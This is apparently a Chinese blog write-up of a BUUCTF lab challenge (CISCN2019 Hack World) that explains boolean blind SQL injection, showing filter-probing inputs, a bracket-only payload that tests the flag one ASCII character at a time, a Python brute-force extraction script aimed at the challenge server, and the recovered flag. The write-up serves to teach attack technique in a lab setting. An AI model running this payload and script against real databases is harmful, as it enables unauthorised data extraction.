web buuctf [CISCN2019 华北赛区 Day2 Web1]Hack World1

考点:盲注(布尔注入);异或的使用

1.输入1'

提示的是bool(错误),这里没有报错回显,只提示错误,其实就可以判断出是个布尔注入

2. 输入1' or '1=1'#

存在过滤,用bp抓包,fuzz进行爆破,看过滤了什么字符;

(看回显,长度为482的都会提示sql注入,即被过滤的字符)这只能确定一部分,在实际操作中因为字符链接,字符本身都会产生新的过滤,注意一下 or的连接语句,空格等

3.根据提示

即从表flag的flag列内提取内容,根据前面的操作可知存在布尔注入,我简单说一下布尔注入,细致的可以百度关于布尔注入的讲解:

布尔注入本身就是判断对错进行猜测的注入形式,当你的注入语句与表的数据一致使就会提示正确,否则就会提示错误,这样就存在了猜测遍历的注入,包括二分法等,都是为了遍历优化的算法

4.判断正确的回显,因为是布尔注入非0即1,先尝试在输入框分别输0和1

分别输入0和1,

0:

1: 

1的话应该就是正确的回显,0的话是错误的回显

进行验证:

if((ascii(substr((select(flag)from(flag)),1,1))=102),1,0)

可以把if语句里最后的0,1,替换进行验证判断正确和错误的回显

5.因为要遍历,那么我们开始写脚本

import requests
import re

url='http://b34f42ae-9e41-48eb-b906-0c3ea32eadec.node4.buuoj.cn:81/index.php'   #路径
buu=''     #记录flag

for i in range(1,50):   #flag的字符数量
    for j in range(32,140):   #可打印出得所有字符的asii码值
        #构造payload,对flag的值进行遍历,i为位数,j为遍历集,{0}和{1}分别为占位指针,{0}对应i,{1}对应j
        payload="if((ascii(substr((select(flag)from(flag)),{0},1))={1}),1,0)".format(i,j)
        data={"id":payload}     #构造参数对象
        res=requests.post(url=url,data=data)       #请求
        #进行验证和记录flag
        if 'Hello, glzjin wants a girlfriend' in res.text:
           buu=buu+chr(j)
           print(i)
           print(buu)
           break              #跳出一层循环
        

 

flag{ec9278fb-1ac8-4bec-b07f-5a66b9

有可能是buuctf服务器设置的反爬,没事,我们把前面的i的范围在改成35,继续跑,跑出来剩下的

9800e0},两个合在一起就是flag{ec9278fb-1ac8-4bec-b07f-5a66b99800e0}

 

 

 

  • 2
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值